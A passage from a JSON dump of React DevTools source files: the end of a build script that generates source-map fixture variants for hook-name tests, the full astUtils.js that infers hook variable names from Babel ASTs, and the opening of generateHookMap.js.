inlineFbSourcesIndexMapExtendedDir = resolve(\n  inlineFbSourcesExtendedDir,\n  'index-map',\n);\nconst externalFbSourcesIndexMapExtendedDir = resolve(\n  externalFbSourcesExtendedDir,\n  'index-map',\n);\nconst inlineReactSourcesExtendedDir = resolve(\n  inlineDir,\n  'react-sources-extended',\n);\nconst externalReactSourcesExtendedDir = resolve(\n  externalDir,\n  'react-sources-extended',\n);\nconst inlineReactSourcesIndexMapExtendedDir = resolve(\n  inlineReactSourcesExtendedDir,\n  'index-map',\n);\nconst externalReactSourcesIndexMapExtendedDir = resolve(\n  externalReactSourcesExtendedDir,\n  'index-map',\n);\n\n// Remove previous builds\nemptyDirSync(buildRoot);\nmkdirSync(externalDir);\nmkdirSync(inlineDir);\nmkdirSync(bundleDir);\nmkdirSync(noColumnsDir);\nmkdirSync(inlineIndexMapDir);\nmkdirSync(externalIndexMapDir);\nmkdirSync(inlineFbSourcesExtendedDir);\nmkdirSync(externalFbSourcesExtendedDir);\nmkdirSync(inlineReactSourcesExtendedDir);\nmkdirSync(externalReactSourcesExtendedDir);\nmkdirSync(inlineFbSourcesIndexMapExtendedDir);\nmkdirSync(externalFbSourcesIndexMapExtendedDir);\nmkdirSync(inlineReactSourcesIndexMapExtendedDir);\nmkdirSync(externalReactSourcesIndexMapExtendedDir);\n\nfunction compile(fileName) {\n  const code = readFileSync(resolve(sourceDir, fileName), 'utf8');\n\n  const transformed = transformSync(code, {\n    plugins: ['@babel/plugin-transform-modules-commonjs'],\n    presets: [\n      // 'minify',\n      [\n        '@babel/react',\n        // {\n        //   runtime: 'automatic',\n        //   development: false,\n        // },\n      ],\n    ],\n    sourceMap: true,\n  });\n\n  const sourceMap = transformed.map;\n  sourceMap.sources = [fileName];\n\n  // Generate compiled output with external source maps\n  writeFileSync(\n    resolve(externalDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalDir, `${fileName}.map`),\n    JSON.stringify(sourceMap),\n    'utf8',\n  );\n\n  // Generate compiled output with inline base64 source maps\n  writeFileSync(\n    resolve(inlineDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(sourceMap)),\n    'utf8',\n  );\n\n  // Strip column numbers from source map to mimic Webpack 'cheap-module-source-map'\n  // The mappings field represents a list of integer arrays.\n  // Each array defines a pair of corresponding file locations, one in the generated code and one in the original.\n  // Each array has also been encoded first as VLQs (variable-length quantities)\n  // and then as base64 because this makes them more compact overall.\n  // https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/view#\n  const decodedMappings = decode(sourceMap.mappings).map(entries =>\n    entries.map(entry => {\n      if (entry.length === 0) {\n        return entry;\n      }\n\n      // Each non-empty segment has the following components:\n      // generated code column, source index, source code line, source code column, and (optional) name index\n      return [...entry.slice(0, 3), 0, ...entry.slice(4)];\n    }),\n  );\n  const encodedMappings = encode(decodedMappings);\n\n  // Generate compiled output with inline base64 source maps without column numbers\n  writeFileSync(\n    resolve(noColumnsDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(\n        JSON.stringify({\n          ...sourceMap,\n          mappings: encodedMappings,\n        }),\n      ),\n    'utf8',\n  );\n\n  // Artificially construct a source map that uses the index map format\n  // (https://sourcemaps.info/spec.html#h.535es3xeprgt)\n  const indexMap = {\n    version: sourceMap.version,\n    file: sourceMap.file,\n    sections: [\n      {\n        offset: {\n          line: 0,\n          column: 0,\n        },\n        map: {...sourceMap},\n      },\n    ],\n  };\n\n  // Generate compiled output using external source maps using index map format\n  writeFileSync(\n    resolve(externalIndexMapDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalIndexMapDir, `${fileName}.map`),\n    JSON.stringify(indexMap),\n    'utf8',\n  );\n\n  // Generate compiled output with inline base64 source maps using index map format\n  writeFileSync(\n    resolve(inlineIndexMapDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(indexMap)),\n    'utf8',\n  );\n\n  // Generate compiled output with an extended sourcemap that includes a map of hook names.\n  const parsed = parse(code, {\n    sourceType: 'module',\n    plugins: ['jsx', 'flow'],\n  });\n  const encodedHookMap = generateEncodedHookMap(parsed);\n  const fbSourcesExtendedSourceMap = {\n    ...sourceMap,\n    // When using the x_facebook_sources extension field, the first item\n    // for a given source is reserved for the Function Map, and the\n    // React sources metadata (which includes the Hook Map) is added as\n    // the second item.\n    x_facebook_sources: [[null, [encodedHookMap]]],\n  };\n  const fbSourcesExtendedIndexMap = {\n    version: fbSourcesExtendedSourceMap.version,\n    file: fbSourcesExtendedSourceMap.file,\n    sections: [\n      {\n        offset: {\n          line: 0,\n          column: 0,\n        },\n        map: {...fbSourcesExtendedSourceMap},\n      },\n    ],\n  };\n  const reactSourcesExtendedSourceMap = {\n    ...sourceMap,\n    // When using the x_react_sources extension field, the first item\n    // for a given source is reserved for the Hook Map.\n    x_react_sources: [[encodedHookMap]],\n  };\n  const reactSourcesExtendedIndexMap = {\n    version: reactSourcesExtendedSourceMap.version,\n    file: reactSourcesExtendedSourceMap.file,\n    sections: [\n      {\n        offset: {\n          line: 0,\n          column: 0,\n        },\n        map: {...reactSourcesExtendedSourceMap},\n      },\n    ],\n  };\n\n  // Using the x_facebook_sources field\n  writeFileSync(\n    resolve(inlineFbSourcesExtendedDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(fbSourcesExtendedSourceMap)),\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalFbSourcesExtendedDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalFbSourcesExtendedDir, `${fileName}.map`),\n    JSON.stringify(fbSourcesExtendedSourceMap),\n    'utf8',\n  );\n  // Using the x_facebook_sources field on an index map format\n  writeFileSync(\n    resolve(inlineFbSourcesIndexMapExtendedDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(fbSourcesExtendedIndexMap)),\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalFbSourcesIndexMapExtendedDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalFbSourcesIndexMapExtendedDir, `${fileName}.map`),\n    JSON.stringify(fbSourcesExtendedIndexMap),\n    'utf8',\n  );\n\n  // Using the x_react_sources field\n  writeFileSync(\n    resolve(inlineReactSourcesExtendedDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(reactSourcesExtendedSourceMap)),\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalReactSourcesExtendedDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalReactSourcesExtendedDir, `${fileName}.map`),\n    JSON.stringify(reactSourcesExtendedSourceMap),\n    'utf8',\n  );\n  // Using the x_react_sources field on an index map format\n  writeFileSync(\n    resolve(inlineReactSourcesIndexMapExtendedDir, fileName),\n    transformed.code +\n      '\\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      btoa(JSON.stringify(reactSourcesExtendedIndexMap)),\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalReactSourcesIndexMapExtendedDir, fileName),\n    transformed.code +\n      `\\n//# sourceMappingURL=${fileName}.map?foo=bar&param=some_value`,\n    'utf8',\n  );\n  writeFileSync(\n    resolve(externalReactSourcesIndexMapExtendedDir, `${fileName}.map`),\n    JSON.stringify(reactSourcesExtendedIndexMap),\n    'utf8',\n  );\n}\n\nasync function bundle() {\n  const entryFileName = resolve(sourceDir, 'index.js');\n\n  // Bundle all modules with rollup\n  const result = await rollup.rollup({\n    input: entryFileName,\n    acornInjectPlugins: [jsx()],\n    plugins: [\n      rollupResolve(),\n      commonjs(),\n      babel({\n        babelHelpers: 'bundled',\n        presets: ['@babel/preset-react'],\n        sourceMap: true,\n      }),\n    ],\n    external: ['react'],\n  });\n  await result.write({\n    file: resolve(bundleDir, 'index.js'),\n    format: 'cjs',\n    sourcemap: true,\n  });\n}\n\n// Compile all files in the current directory\nconst entries = readdirSync(sourceDir);\nentries.forEach(entry => {\n  const stat = lstatSync(resolve(sourceDir, entry));\n  if (!stat.isDirectory() && entry.endsWith('.js')) {\n    compile(entry);\n  }\n});\n\nbundle().catch(e => {\n  console.error(e);\n  process.exit(1);\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/astUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {withSyncPerfMeasurements} from 'react-devtools-shared/src/PerformanceLoggingUtils';\nimport traverse from '@babel/traverse';\n\nimport type {HooksNode} from 'react-debug-tools/src/ReactDebugHooks';\n\n// Missing types in @babel/traverse\ntype NodePath = any;\ntype Node = any;\n// Missing types in @babel/types\ntype File = any;\n\nexport type Position = {\n  line: number,\n  column: number,\n};\n\nexport type SourceFileASTWithHookDetails = {\n  sourceFileAST: File,\n  line: number,\n  source: string,\n};\n\nexport const NO_HOOK_NAME = '<no-hook>';\n\nconst AST_NODE_TYPES = Object.freeze({\n  PROGRAM: 'Program',\n  CALL_EXPRESSION: 'CallExpression',\n  MEMBER_EXPRESSION: 'MemberExpression',\n  ARRAY_PATTERN: 'ArrayPattern',\n  IDENTIFIER: 'Identifier',\n  NUMERIC_LITERAL: 'NumericLiteral',\n  VARIABLE_DECLARATOR: 'VariableDeclarator',\n});\n\n// Check if line number obtained from source map and the line number in hook node match\nfunction checkNodeLocation(\n  path: NodePath,\n  line: number,\n  column?: number | null = null,\n): boolean {\n  const {start, end} = path.node.loc;\n\n  if (line !== start.line) {\n    return false;\n  }\n\n  if (column !== null) {\n    // Column numbers are represented differently between tools/engines.\n    // Error.prototype.stack columns are 1-based (like most IDEs) but ASTs are 0-based.\n    //\n    // In practice this will probably never matter,\n    // because this code matches the 1-based Error stack location for the hook Identifier (e.g. useState)\n    // with the larger 0-based VariableDeclarator (e.g. [foo, setFoo] = useState())\n    // so the ranges should always overlap.\n    //\n    // For more info see https://github.com/facebook/react/pull/21833#discussion_r666831276\n    column -= 1;\n    if (\n      (line === start.line && column < start.column) ||\n      (line === end.line && column > end.column)\n    ) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\n// Checks whether hookNode is a member of targetHookNode\nfunction filterMemberNodesOfTargetHook(\n  targetHookNode: NodePath,\n  hookNode: NodePath,\n): boolean {\n  const targetHookName = targetHookNode.node.id.name;\n  return (\n    targetHookName != null &&\n    (targetHookName ===\n      (hookNode.node.init.object && hookNode.node.init.object.name) ||\n      targetHookName === hookNode.node.init.name)\n  );\n}\n\n// Checks whether hook is the first member node of a state variable declaration node\nfunction filterMemberWithHookVariableName(hook: NodePath): boolean {\n  return (\n    hook.node.init.property.type === AST_NODE_TYPES.NUMERIC_LITERAL &&\n    hook.node.init.property.value === 0\n  );\n}\n\n// Returns all AST Nodes associated with 'potentialReactHookASTNode'\nfunction getFilteredHookASTNodes(\n  potentialReactHookASTNode: NodePath,\n  potentialHooksFound: Array<NodePath>,\n  source: string,\n): Array<NodePath> {\n  let nodesAssociatedWithReactHookASTNode: NodePath[] = [];\n  if (nodeContainsHookVariableName(potentialReactHookASTNode)) {\n    // made custom hooks to enter this, always\n    // Case 1.\n    // Directly usable Node -> const ref = useRef(null);\n    //                      -> const [tick, setTick] = useState(1);\n    // Case 2.\n    // Custom Hooks -> const someVariable = useSomeCustomHook();\n    //              -> const [someVariable, someFunction] = useAnotherCustomHook();\n    nodesAssociatedWithReactHookASTNode.unshift(potentialReactHookASTNode);\n  } else {\n    // Case 3.\n    // Indirectly usable Node -> const tickState = useState(1);\n    //                           [tick, setTick] = tickState;\n    //                        -> const tickState = useState(1);\n    //                           const tick = tickState[0];\n    //                           const setTick = tickState[1];\n    nodesAssociatedWithReactHookASTNode = potentialHooksFound.filter(hookNode =>\n      filterMemberNodesOfTargetHook(potentialReactHookASTNode, hookNode),\n    );\n  }\n  return nodesAssociatedWithReactHookASTNode;\n}\n\n// Returns Hook name\nexport function getHookName(\n  hook: HooksNode,\n  originalSourceAST: mixed,\n  originalSourceCode: string,\n  originalSourceLineNumber: number,\n  originalSourceColumnNumber: number,\n): string | null {\n  const hooksFromAST = withSyncPerfMeasurements(\n    'getPotentialHookDeclarationsFromAST(originalSourceAST)',\n    () => getPotentialHookDeclarationsFromAST(originalSourceAST),\n  );\n\n  let potentialReactHookASTNode = null;\n  if (originalSourceColumnNumber === 0) {\n    // This most likely indicates a source map type like 'cheap-module-source-map'\n    // that intentionally drops column numbers for compilation speed in DEV builds.\n    // In this case, we can assume there's probably only one hook per line (true in most cases)\n    // and just fail if we find more than one match.\n    const matchingNodes = hooksFromAST.filter(node => {\n      const nodeLocationCheck = checkNodeLocation(\n        node,\n        originalSourceLineNumber,\n      );\n\n      const hookDeclarationCheck = isConfirmedHookDeclaration(node);\n      return nodeLocationCheck && hookDeclarationCheck;\n    });\n\n    if (matchingNodes.length === 1) {\n      potentialReactHookASTNode = matchingNodes[0];\n    }\n  } else {\n    potentialReactHookASTNode = hooksFromAST.find(node => {\n      const nodeLocationCheck = checkNodeLocation(\n        node,\n        originalSourceLineNumber,\n        originalSourceColumnNumber,\n      );\n\n      const hookDeclarationCheck = isConfirmedHookDeclaration(node);\n      return nodeLocationCheck && hookDeclarationCheck;\n    });\n  }\n\n  if (!potentialReactHookASTNode) {\n    return null;\n  }\n\n  // nodesAssociatedWithReactHookASTNode could directly be used to obtain the hook variable name\n  // depending on the type of potentialReactHookASTNode\n  try {\n    const nodesAssociatedWithReactHookASTNode = withSyncPerfMeasurements(\n      'getFilteredHookASTNodes()',\n      () =>\n        getFilteredHookASTNodes(\n          potentialReactHookASTNode,\n          hooksFromAST,\n          originalSourceCode,\n        ),\n    );\n\n    const name = withSyncPerfMeasurements('getHookNameFromNode()', () =>\n      getHookNameFromNode(\n        hook,\n        nodesAssociatedWithReactHookASTNode,\n        potentialReactHookASTNode,\n      ),\n    );\n\n    return name;\n  } catch (error) {\n    console.error(error);\n    return null;\n  }\n}\n\nfunction getHookNameFromNode(\n  originalHook: HooksNode,\n  nodesAssociatedWithReactHookASTNode: NodePath[],\n  potentialReactHookASTNode: NodePath,\n): string | null {\n  let hookVariableName: string | null;\n  const isCustomHook = originalHook.id === null;\n\n  switch (nodesAssociatedWithReactHookASTNode.length) {\n    case 1:\n      // CASE 1A (nodesAssociatedWithReactHookASTNode[0] !== potentialReactHookASTNode):\n      // const flagState = useState(true); -> later referenced as\n      // const [flag, setFlag] = flagState;\n      //\n      // CASE 1B (nodesAssociatedWithReactHookASTNode[0] === potentialReactHookASTNode):\n      // const [flag, setFlag] = useState(true); -> we have access to the hook variable straight away\n      //\n      // CASE 1C (isCustomHook && nodesAssociatedWithReactHookASTNode[0] === potentialReactHookASTNode):\n      // const someVariable = useSomeCustomHook(); -> we have access to hook variable straight away\n      // const [someVariable, someFunction] = useAnotherCustomHook(); -> we ignore variable names in this case\n      //                                                                 as it is unclear what variable name to show\n      if (\n        isCustomHook &&\n        nodesAssociatedWithReactHookASTNode[0] === potentialReactHookASTNode\n      ) {\n        hookVariableName = getHookVariableName(\n          potentialReactHookASTNode,\n          isCustomHook,\n        );\n        break;\n      }\n      hookVariableName = getHookVariableName(\n        nodesAssociatedWithReactHookASTNode[0],\n      );\n      break;\n\n    case 2:\n      // const flagState = useState(true); -> later referenced as\n      // const flag = flagState[0];\n      // const setFlag = flagState[1];\n      nodesAssociatedWithReactHookASTNode =\n        nodesAssociatedWithReactHookASTNode.filter(hookPath =>\n          filterMemberWithHookVariableName(hookPath),\n        );\n\n      if (nodesAssociatedWithReactHookASTNode.length !== 1) {\n        // Something went wrong, only a single desirable hook should remain here\n        throw new Error(\"Couldn't isolate AST Node containing hook variable.\");\n      }\n      hookVariableName = getHookVariableName(\n        nodesAssociatedWithReactHookASTNode[0],\n      );\n      break;\n\n    default:\n      // Case 0:\n      // const flagState = useState(true); -> which is not accessed anywhere\n      //\n      // Case > 2 (fallback):\n      // const someState = React.useState(() => 0)\n      //\n      // const stateVariable = someState[0]\n      // const setStateVariable = someState[1]\n      //\n      // const [number2, setNumber2] = someState\n      //\n      // We assign the state variable for 'someState' to multiple variables,\n      // and hence cannot isolate a unique variable name. In such cases,\n      // default to showing 'someState'\n\n      hookVariableName = getHookVariableName(potentialReactHookASTNode);\n      break;\n  }\n\n  return hookVariableName;\n}\n\n// Extracts the variable name from hook node path\nfunction getHookVariableName(\n  hook: NodePath,\n  isCustomHook: boolean = false,\n): string | null {\n  const nodeType = hook.node.id.type;\n  switch (nodeType) {\n    case AST_NODE_TYPES.ARRAY_PATTERN:\n      return !isCustomHook ? (hook.node.id.elements[0]?.name ?? null) : null;\n\n    case AST_NODE_TYPES.IDENTIFIER:\n      return hook.node.id.name;\n\n    default:\n      return null;\n  }\n}\n\nfunction getPotentialHookDeclarationsFromAST(sourceAST: File): NodePath[] {\n  const potentialHooksFound: NodePath[] = [];\n  withSyncPerfMeasurements('traverse(sourceAST)', () =>\n    traverse(sourceAST, {\n      enter(path) {\n        if (path.isVariableDeclarator() && isPotentialHookDeclaration(path)) {\n          potentialHooksFound.push(path);\n        }\n      },\n    }),\n  );\n  return potentialHooksFound;\n}\n\n/**\n * This function traverses the sourceAST and returns a mapping\n * that maps locations in the source code to their corresponding\n * Hook name, if there is a relevant Hook name for that location.\n *\n * A location in the source code is represented by line and column\n * numbers as a Position object: { line, column }.\n *   - line is 1-indexed.\n *   - column is 0-indexed.\n *\n * A Hook name will be assigned to a Hook CallExpression if the\n * CallExpression is for a variable declaration (i.e. it returns\n * a value that is assigned to a variable), and if we can reliably\n * infer the correct name to use (see comments in the function body\n * for more details).\n *\n * The returned mapping is an array of locations and their assigned\n * names, sorted by location. Specifically, each entry in the array\n * contains a `name` and a `start` Position. The `name` of a given\n * entry is the \"assigned\" name in the source code until the `start`\n * of the **next** entry. This means that given the mapping, in order\n * to determine the Hook name assigned for a given source location, we\n * need to find the adjacent entries that most closely contain the given\n * location.\n *\n * E.g. for the following code:\n *\n * 1|  function Component() {\n * 2|    const [state, setState] = useState(0);\n * 3|                              ^---------^ -> Cols 28 - 38: Hook CallExpression\n * 4|\n * 5|    useEffect(() => {...}); -> call ignored since not declaring a variable\n * 6|\n * 7|    return (...);\n * 8|  }\n *\n * The returned \"mapping\" would be something like:\n *   [\n *     {name: '<no-hook>', start: {line: 1, column: 0}},\n *     {name: 'state', start: {line: 2, column: 28}},\n *     {name: '<no-hook>', start: {line: 2, column: 38}},\n *   ]\n *\n * Where the Hook name `state` (corresponding to the `state` variable)\n * is assigned to the location in the code for the CallExpression\n * representing the call to `useState(0)` (line 2, col 28-38).\n */\nexport function getHookNamesMappingFromAST(\n  sourceAST: File,\n): $ReadOnlyArray<{name: string, start: Position}> {\n  const hookStack: Array<{name: string, start: $FlowFixMe}> = [];\n  const hookNames = [];\n  const pushFrame = (name: string, node: Node) => {\n    const nameInfo = {name, start: {...node.loc.start}};\n    hookStack.unshift(nameInfo);\n    hookNames.push(nameInfo);\n  };\n  const popFrame = (node: Node) => {\n    hookStack.shift();\n    const top = hookStack[0];\n    if (top != null) {\n      hookNames.push({name: top.name, start: {...node.loc.end}});\n    }\n  };\n\n  traverse(sourceAST, {\n    [AST_NODE_TYPES.PROGRAM]: {\n      enter(path) {\n        pushFrame(NO_HOOK_NAME, path.node);\n      },\n      exit(path) {\n        popFrame(path.node);\n      },\n    },\n    [AST_NODE_TYPES.VARIABLE_DECLARATOR]: {\n      enter(path) {\n        // Check if this variable declaration corresponds to a variable\n        // declared by calling a Hook.\n        if (isConfirmedHookDeclaration(path)) {\n          const hookDeclaredVariableName = getHookVariableName(path);\n          if (!hookDeclaredVariableName) {\n            return;\n          }\n          const callExpressionNode = assertCallExpression(path.node.init);\n\n          // Check if this variable declaration corresponds to a call to a\n          // built-in Hook that returns a tuple (useState, useReducer,\n          // useTransition).\n          // If it doesn't, we immediately use the declared variable name\n          // as the Hook name. We do this because for any other Hooks that\n          // aren't the built-in Hooks that return a tuple, we can't reliably\n          // extract a Hook name from other variable declarations derived from\n          // this one, since we don't know which of the declared variables\n          // are the relevant ones to track and show in dev tools.\n          if (!isBuiltInHookThatReturnsTuple(path)) {\n            pushFrame(hookDeclaredVariableName, callExpressionNode);\n            return;\n          }\n\n          // Check if the variable declared by the Hook call is referenced\n          // anywhere else in the code. If not, we immediately use the\n          // declared variable name as the Hook name.\n          const referencePaths =\n            hookDeclaredVariableName != null\n              ? path.scope.bindings[hookDeclaredVariableName]?.referencePaths\n              : null;\n          if (referencePaths == null) {\n            pushFrame(hookDeclaredVariableName, callExpressionNode);\n            return;\n          }\n\n          // Check each reference to the variable declared by the Hook call,\n          // and for each, we do the following:\n          let declaredVariableName = null;\n          for (let i = 0; i <= referencePaths.length; i++) {\n            const referencePath = referencePaths[i];\n            if (declaredVariableName != null) {\n              break;\n            }\n\n            // 1. Check if the reference is contained within a VariableDeclarator\n            // Node. This will allow us to determine if the variable declared by\n            // the Hook call is being used to declare other variables.\n            let variableDeclaratorPath = referencePath;\n            while (\n              variableDeclaratorPath != null &&\n              variableDeclaratorPath.node.type !==\n                AST_NODE_TYPES.VARIABLE_DECLARATOR\n            ) {\n              variableDeclaratorPath = variableDeclaratorPath.parentPath;\n            }\n\n            // 2. If we find a VariableDeclarator containing the\n            // referenced variable, we extract the Hook name from the new\n            // variable declaration.\n            // E.g., a case like the following:\n            //    const countState = useState(0);\n            //    const count = countState[0];\n            //    const setCount = countState[1]\n            // Where the reference to `countState` is later referenced\n            // within a VariableDeclarator, so we can extract `count` as\n            // the Hook name.\n            const varDeclInit = variableDeclaratorPath?.node.init;\n            if (varDeclInit != null) {\n              switch (varDeclInit.type) {\n                case AST_NODE_TYPES.MEMBER_EXPRESSION: {\n                  // When encountering a MemberExpression inside the new\n                  // variable declaration, we only want to extract the variable\n                  // name if we're assigning the value of the first member,\n                  // which is handled by `filterMemberWithHookVariableName`.\n                  // E.g.\n                  //    const countState = useState(0);\n                  //    const count = countState[0];    -> extract the name from this reference\n                  //    const setCount = countState[1]; -> ignore this reference\n                  if (\n                    filterMemberWithHookVariableName(variableDeclaratorPath)\n                  ) {\n                    declaredVariableName = getHookVariableName(\n                      variableDeclaratorPath,\n                    );\n                  }\n                  break;\n                }\n                case AST_NODE_TYPES.IDENTIFIER: {\n                  declaredVariableName = getHookVariableName(\n                    variableDeclaratorPath,\n                  );\n                  break;\n                }\n                default:\n                  break;\n              }\n            }\n          }\n\n          // If we were able to extract a name from the new variable\n          // declaration, use it as the Hook name. Otherwise, use the\n          // original declared variable as the variable name.\n          if (declaredVariableName != null) {\n            pushFrame(declaredVariableName, callExpressionNode);\n          } else {\n            pushFrame(hookDeclaredVariableName, callExpressionNode);\n          }\n        }\n      },\n      exit(path) {\n        if (isConfirmedHookDeclaration(path)) {\n          const callExpressionNode = assertCallExpression(path.node.init);\n          popFrame(callExpressionNode);\n        }\n      },\n    },\n  });\n  return hookNames;\n}\n\n// Check if 'path' contains declaration of the form const X = useState(0);\nfunction isConfirmedHookDeclaration(path: NodePath): boolean {\n  const nodeInit = path.node.init;\n  if (nodeInit == null || nodeInit.type !== AST_NODE_TYPES.CALL_EXPRESSION) {\n    return false;\n  }\n  const callee = nodeInit.callee;\n  return isHook(callee);\n}\n\n// We consider hooks to be a hook name identifier or a member expression containing a hook name.\nfunction isHook(node: Node): boolean {\n  if (node.type === AST_NODE_TYPES.IDENTIFIER) {\n    return isHookName(node.name);\n  } else if (\n    node.type === AST_NODE_TYPES.MEMBER_EXPRESSION &&\n    !node.computed &&\n    isHook(node.property)\n  ) {\n    const obj = node.object;\n    const isPascalCaseNameSpace = /^[A-Z].*/;\n    return (\n      obj.type === AST_NODE_TYPES.IDENTIFIER &&\n      isPascalCaseNameSpace.test(obj.name)\n    );\n  } else {\n    // TODO Possibly handle inline require statements e.g. require(\"useStable\")(...)\n    // This does not seem like a high priority, since inline requires are probably\n    // not common and are also typically in compiled code rather than source code.\n\n    return false;\n  }\n}\n\n// Catch all identifiers that begin with \"use\"\n// followed by an uppercase Latin character to exclude identifiers like \"user\".\n// Copied from packages/eslint-plugin-react-hooks/src/RulesOfHooks\nfunction isHookName(name: string): boolean {\n  return /^use[A-Z0-9].*$/.test(name);\n}\n\n// Check if the AST Node COULD be a React Hook\nfunction isPotentialHookDeclaration(path: NodePath): boolean {\n  // The array potentialHooksFound will contain all potential hook declaration cases we support\n  const nodePathInit = path.node.init;\n  if (nodePathInit != null) {\n    if (nodePathInit.type === AST_NODE_TYPES.CALL_EXPRESSION) {\n      // CASE: CallExpression\n      // 1. const [count, setCount] = useState(0); -> destructured pattern\n      // 2. const [A, setA] = useState(0), const [B, setB] = useState(0); -> multiple inline declarations\n      // 3. const [\n      //      count,\n      //      setCount\n      //    ] = useState(0); -> multiline hook declaration\n      // 4. const ref = useRef(null); -> generic hooks\n      const callee = nodePathInit.callee;\n      return isHook(callee);\n    } else if (\n      nodePathInit.type === AST_NODE_TYPES.MEMBER_EXPRESSION ||\n      nodePathInit.type === AST_NODE_TYPES.IDENTIFIER\n    ) {\n      // CASE: MemberExpression\n      //    const countState = React.useState(0);\n      //    const count = countState[0];\n      //    const setCount = countState[1]; -> Accessing members following hook declaration\n\n      // CASE: Identifier\n      //    const countState = React.useState(0);\n      //    const [count, setCount] = countState; ->  destructuring syntax following hook declaration\n      return true;\n    }\n  }\n  return false;\n}\n\n/// Check whether 'node' is hook declaration of form useState(0); OR React.useState(0);\nfunction isReactFunction(node: Node, functionName: string): boolean {\n  return (\n    node.name === functionName ||\n    (node.type === 'MemberExpression' &&\n      node.object.name === 'React' &&\n      node.property.name === functionName)\n  );\n}\n\n// Check if 'path' is either State or Reducer hook\nfunction isBuiltInHookThatReturnsTuple(path: NodePath): boolean {\n  const callee = path.node.init.callee;\n  return (\n    isReactFunction(callee, 'useState') ||\n    isReactFunction(callee, 'useReducer') ||\n    isReactFunction(callee, 'useTransition')\n  );\n}\n\n// Check whether hookNode of a declaration contains obvious variable name\nfunction nodeContainsHookVariableName(hookNode: NodePath): boolean {\n  // We determine cases where variable names are obvious in declarations. Examples:\n  // const [tick, setTick] = useState(1); OR const ref = useRef(null);\n  // Here tick/ref are obvious hook variables in the hook declaration node itself\n  // 1. True for satisfying above cases\n  // 2. False for everything else. Examples:\n  //    const countState = React.useState(0);\n  //    const count = countState[0];\n  //    const setCount = countState[1]; -> not obvious, hook variable can't be determined\n  //                                       from the hook declaration node alone\n  // 3. For custom hooks we force pass true since we are only concerned with the AST node\n  //    regardless of how it is accessed in source code. (See: getHookVariableName)\n\n  const node = hookNode.node.id;\n  if (\n    node.type === AST_NODE_TYPES.ARRAY_PATTERN ||\n    (node.type === AST_NODE_TYPES.IDENTIFIER &&\n      !isBuiltInHookThatReturnsTuple(hookNode))\n  ) {\n    return true;\n  }\n  return false;\n}\n\nfunction assertCallExpression(node: Node): Node {\n  if (node.type !== AST_NODE_TYPES.CALL_EXPRESSION) {\n    throw new Error('Expected a CallExpression node for a Hook declaration.');\n  }\n  return node;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/generateHookMap.js",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getHookNamesMappingFromAST} from './astUtils';\nimport {encode, decode} from '@jridgewell/sourcemap-codec';\n\n// Missing types in @babel/types\ntype File = any;\n\nexport type HookMap = {\n  names: $ReadOnlyArray<string>,\n  mappings: HookMapMappings,\n};\n\nexport type EncodedHookMap = {\n  names: $ReadOnlyArray<string>,\n  mappings: string,\n};\n\n// See generateHookMap below for more details on formatting\nexport type HookMapEntry = [\n  number, // 1-indexed line number\n  number, // 0-indexed column number\n  number, // 0-indexed index into names array\n  number, // TODO: filler number to support reusing encoding from `sourcemap-codec` (see TODO below)\n];\nexport type HookMapLine = HookMapEntry[];\nexport type HookMapMappings = HookMapLine[];\n\n/**\n * Given a parsed source code AST, returns a \"Hook Map\", which is a\n * mapping which maps locations in the source code to their to their\n * corresponding Hook name, if there is a relevant Hook name for that\n * location (see getHookNamesMappingFromAST for details on the\n * representation of the mapping).\n *\n * The format of the Hook Map follows a similar format as the `name`\n * and `mappings` fields in the Source Map spec, where `names` is an\n * array of strings, and `mappings` contains segments lines, columns,\n * and indices into the `names` array.\n *\n * E.g.:\n *   {\n *     names: [\"<no-hook>\", \"state\"],\n *     mappings: [\n *       [ -> line 1\n *         [1, 0, 0],  -> line, col, name index\n *       ],\n *       [ -> line 2\n *         [2, 5, 1],  -> line, col, name index\n *         [2, 15, 0],  -> line, col, name index\n *       ],\n *     ],\n *   }\n */\nexport function generateHookMap(sourceAST: File): HookMap {\n  const hookNamesMapping = getHookNamesMappingFromAST(sourceAST);\n  const namesMap: Map<string, number> = new Map();\n  const names = [];\n  const mappings: Array<HookMapLine> = [];\n\n  let 